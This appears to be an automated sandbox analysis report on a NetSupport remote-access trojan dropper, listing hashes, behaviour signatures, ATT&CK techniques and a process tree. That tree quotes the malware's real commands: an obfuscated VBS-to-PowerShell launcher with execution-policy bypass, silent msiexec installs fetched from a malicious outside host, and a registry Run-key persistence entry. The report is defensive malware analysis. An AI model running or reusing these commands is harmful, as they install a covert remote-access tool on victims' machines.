netsupport | a61bc88a1a994952b622c7eb01bfa9be65591c8cb5e69c4dae56edbd94deb384

Analysis

max time kernel
106s
max time network
153s
platform
windows7_x64
resource
win7v20201028
submitted
29-10-2020 16:41

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General

Target

signed_gate6.bin.exe
Size

3.8MB
MD5

5b31c8bf67eea804fa636876a1828d20
SHA1

0f9862e659b5cd1233a7796d51e062d217df3c75
SHA256

a61bc88a1a994952b622c7eb01bfa9be65591c8cb5e69c4dae56edbd94deb384
SHA512

bf7175eb313fd1949e36056d478699327a05cbff1d5a0e68c4664df7c202197a25332ba270c8a5300367cf8d4b711d682d535071ce6c11ed125dd78c75f2909b

Score

10^/10

netsupport persistence rat

Malware Config

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blacklisted process makes network request 1 IoCs

flow	pid	Process
10	1792	msiexec.exe

Executes dropped EXE 1 IoCs

pid	Process
1964	fonthost.exe

Loads dropped DLL 8 IoCs

pid	Process
1916	signed_gate6.bin.exe
1916	signed_gate6.bin.exe
1916	signed_gate6.bin.exe
1964	fonthost.exe
1964	fonthost.exe
1964	fonthost.exe
1964	fonthost.exe
1964	fonthost.exe

Use of msiexec (install) with remote resource 2 IoCs

pid	Process
552	msiexec.exe
1436	msiexec.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Windows\CurrentVersion\Run\fonthost = "C:\\Users\\Admin\\AppData\\Roaming\\W4mcAMtZ\\fonthost.exe"	reg.exe

JavaScript code in executable 2 IoCs

resource	yara_rule
behavioral1/files/0x0003000000013154-23.dat	js
behavioral1/files/0x0003000000013154-22.dat	js

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1796	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1492	powershell.exe
1492	powershell.exe

Suspicious use of AdjustPrivilegeToken 67 IoCs

description	pid	Process
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeShutdownPrivilege	552	msiexec.exe
Token: SeIncreaseQuotaPrivilege	552	msiexec.exe
Token: SeRestorePrivilege	1792	msiexec.exe
Token: SeTakeOwnershipPrivilege	1792	msiexec.exe
Token: SeSecurityPrivilege	1792	msiexec.exe
Token: SeCreateTokenPrivilege	552	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	552	msiexec.exe
Token: SeLockMemoryPrivilege	552	msiexec.exe
Token: SeIncreaseQuotaPrivilege	552	msiexec.exe
Token: SeMachineAccountPrivilege	552	msiexec.exe
Token: SeTcbPrivilege	552	msiexec.exe
Token: SeSecurityPrivilege	552	msiexec.exe
Token: SeTakeOwnershipPrivilege	552	msiexec.exe
Token: SeLoadDriverPrivilege	552	msiexec.exe
Token: SeSystemProfilePrivilege	552	msiexec.exe
Token: SeSystemtimePrivilege	552	msiexec.exe
Token: SeProfSingleProcessPrivilege	552	msiexec.exe
Token: SeIncBasePriorityPrivilege	552	msiexec.exe
Token: SeCreatePagefilePrivilege	552	msiexec.exe
Token: SeCreatePermanentPrivilege	552	msiexec.exe
Token: SeBackupPrivilege	552	msiexec.exe
Token: SeRestorePrivilege	552	msiexec.exe
Token: SeShutdownPrivilege	552	msiexec.exe
Token: SeDebugPrivilege	552	msiexec.exe
Token: SeAuditPrivilege	552	msiexec.exe
Token: SeSystemEnvironmentPrivilege	552	msiexec.exe
Token: SeChangeNotifyPrivilege	552	msiexec.exe
Token: SeRemoteShutdownPrivilege	552	msiexec.exe
Token: SeUndockPrivilege	552	msiexec.exe
Token: SeSyncAgentPrivilege	552	msiexec.exe
Token: SeEnableDelegationPrivilege	552	msiexec.exe
Token: SeManageVolumePrivilege	552	msiexec.exe
Token: SeImpersonatePrivilege	552	msiexec.exe
Token: SeCreateGlobalPrivilege	552	msiexec.exe
Token: SeShutdownPrivilege	1436	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1436	msiexec.exe
Token: SeSecurityPrivilege	1964	fonthost.exe
Token: SeCreateTokenPrivilege	1436	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1436	msiexec.exe
Token: SeLockMemoryPrivilege	1436	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1436	msiexec.exe
Token: SeMachineAccountPrivilege	1436	msiexec.exe
Token: SeTcbPrivilege	1436	msiexec.exe
Token: SeSecurityPrivilege	1436	msiexec.exe
Token: SeTakeOwnershipPrivilege	1436	msiexec.exe
Token: SeLoadDriverPrivilege	1436	msiexec.exe
Token: SeSystemProfilePrivilege	1436	msiexec.exe
Token: SeSystemtimePrivilege	1436	msiexec.exe
Token: SeProfSingleProcessPrivilege	1436	msiexec.exe
Token: SeIncBasePriorityPrivilege	1436	msiexec.exe
Token: SeCreatePagefilePrivilege	1436	msiexec.exe
Token: SeCreatePermanentPrivilege	1436	msiexec.exe
Token: SeBackupPrivilege	1436	msiexec.exe
Token: SeRestorePrivilege	1436	msiexec.exe
Token: SeShutdownPrivilege	1436	msiexec.exe
Token: SeDebugPrivilege	1436	msiexec.exe
Token: SeAuditPrivilege	1436	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1436	msiexec.exe
Token: SeChangeNotifyPrivilege	1436	msiexec.exe
Token: SeRemoteShutdownPrivilege	1436	msiexec.exe
Token: SeUndockPrivilege	1436	msiexec.exe
Token: SeSyncAgentPrivilege	1436	msiexec.exe
Token: SeEnableDelegationPrivilege	1436	msiexec.exe
Token: SeManageVolumePrivilege	1436	msiexec.exe
Token: SeImpersonatePrivilege	1436	msiexec.exe
Token: SeCreateGlobalPrivilege	1436	msiexec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1964	fonthost.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 1916 wrote to memory of 1572	1916	signed_gate6.bin.exe	29
PID 1916 wrote to memory of 1572	1916	signed_gate6.bin.exe	29
PID 1916 wrote to memory of 1572	1916	signed_gate6.bin.exe	29
PID 1916 wrote to memory of 1572	1916	signed_gate6.bin.exe	29
PID 1572 wrote to memory of 1624	1572	cmd.exe	31
PID 1572 wrote to memory of 1624	1572	cmd.exe	31
PID 1572 wrote to memory of 1624	1572	cmd.exe	31
PID 1624 wrote to memory of 788	1624	wscript.exe	32
PID 1624 wrote to memory of 788	1624	wscript.exe	32
PID 1624 wrote to memory of 788	1624	wscript.exe	32
PID 788 wrote to memory of 1552	788	cmd.exe	34
PID 788 wrote to memory of 1552	788	cmd.exe	34
PID 788 wrote to memory of 1552	788	cmd.exe	34
PID 1552 wrote to memory of 1492	1552	cmd.exe	35
PID 1552 wrote to memory of 1492	1552	cmd.exe	35
PID 1552 wrote to memory of 1492	1552	cmd.exe	35
PID 1492 wrote to memory of 552	1492	powershell.exe	36
PID 1492 wrote to memory of 552	1492	powershell.exe	36
PID 1492 wrote to memory of 552	1492	powershell.exe	36
PID 1492 wrote to memory of 552	1492	powershell.exe	36
PID 1492 wrote to memory of 552	1492	powershell.exe	36
PID 1492 wrote to memory of 1796	1492	powershell.exe	38
PID 1492 wrote to memory of 1796	1492	powershell.exe	38
PID 1492 wrote to memory of 1796	1492	powershell.exe	38
PID 1492 wrote to memory of 1964	1492	powershell.exe	39
PID 1492 wrote to memory of 1964	1492	powershell.exe	39
PID 1492 wrote to memory of 1964	1492	powershell.exe	39
PID 1492 wrote to memory of 1964	1492	powershell.exe	39
PID 1492 wrote to memory of 1436	1492	powershell.exe	40
PID 1492 wrote to memory of 1436	1492	powershell.exe	40
PID 1492 wrote to memory of 1436	1492	powershell.exe	40
PID 1492 wrote to memory of 1436	1492	powershell.exe	40
PID 1492 wrote to memory of 1436	1492	powershell.exe	40

C:\Users\Admin\AppData\Local\Temp\signed_gate6.bin.exe
"C:\Users\Admin\AppData\Local\Temp\signed_gate6.bin.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ec^h^o CreateObject("Wscript.Shell").Run "cmd /c cmd /c powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\Dapino-Religion-People-Church.ps1", 0, False > %appdata%\NWNCDTYSWS.vb^s& wscript %appdata%\NWNCDTYSWS.vb^s& del %appdata%\NWNCDTYSWS.vb^s
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1572
- - C:\Windows\system32\wscript.exe
    wscript C:\Users\Admin\AppData\Roaming\NWNCDTYSWS.vbs
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1624
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\Dapino-Religion-People-Church.ps1
      4⤵
      Suspicious use of WriteProcessMemory
      PID:788
    - - C:\Windows\system32\cmd.exe
        
        cmd /c powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\Dapino-Religion-People-Church.ps1
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1552
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\Dapino-Religion-People-Church.ps1
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1492
        
        C:\Windows\system32\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i http://safuuf7774.pw/iplog/newg.php?hst=installing_TUICJFPF /q
        7⤵
        Use of msiexec (install) with remote resource
        Suspicious use of AdjustPrivilegeToken
        
        PID:552
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v fonthost /t REG_SZ /d C:\Users\Admin\AppData\Roaming\W4mcAMtZ\fonthost.exe /f
        7⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:1796
        
        C:\Users\Admin\AppData\Roaming\W4mcAMtZ\fonthost.exe
        
        "C:\Users\Admin\AppData\Roaming\W4mcAMtZ\fonthost.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:1964
        
        C:\Windows\system32\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i http://safuuf7774.pw/iplog/newg.php?hst=installed_TUICJFPF /q
        7⤵
        Use of msiexec (install) with remote resource
        Suspicious use of AdjustPrivilegeToken
        
        PID:1436

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:1792

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/552-37-0x00000000022C0000-0x00000000022C4000-memory.dmp

Filesize
16KB

Download
memory/984-36-0x000007FEF7D20000-0x000007FEF7F9A000-memory.dmp

Filesize
2.5MB

Download
memory/1436-35-0x00000000021B0000-0x00000000021B4000-memory.dmp

Filesize
16KB

Download
memory/1492-11-0x0000000002280000-0x0000000002281000-memory.dmp

Filesize
4KB

Download
memory/1492-12-0x000000001AC60000-0x000000001AC61000-memory.dmp

Filesize
4KB

Download
memory/1492-13-0x0000000002430000-0x0000000002431000-memory.dmp

Filesize
4KB

Download
memory/1492-17-0x000000001C3F0000-0x000000001C3F1000-memory.dmp

Filesize
4KB

Download
memory/1492-10-0x000007FEF5C90000-0x000007FEF667C000-memory.dmp

Filesize
9.9MB

Download
memory/1492-16-0x000000001C320000-0x000000001C321000-memory.dmp

Filesize
4KB

Download
memory/1492-14-0x00000000025D0000-0x00000000025D1000-memory.dmp

Filesize
4KB

Download
memory/1624-7-0x00000000026C0000-0x00000000026C4000-memory.dmp

Filesize
16KB

Download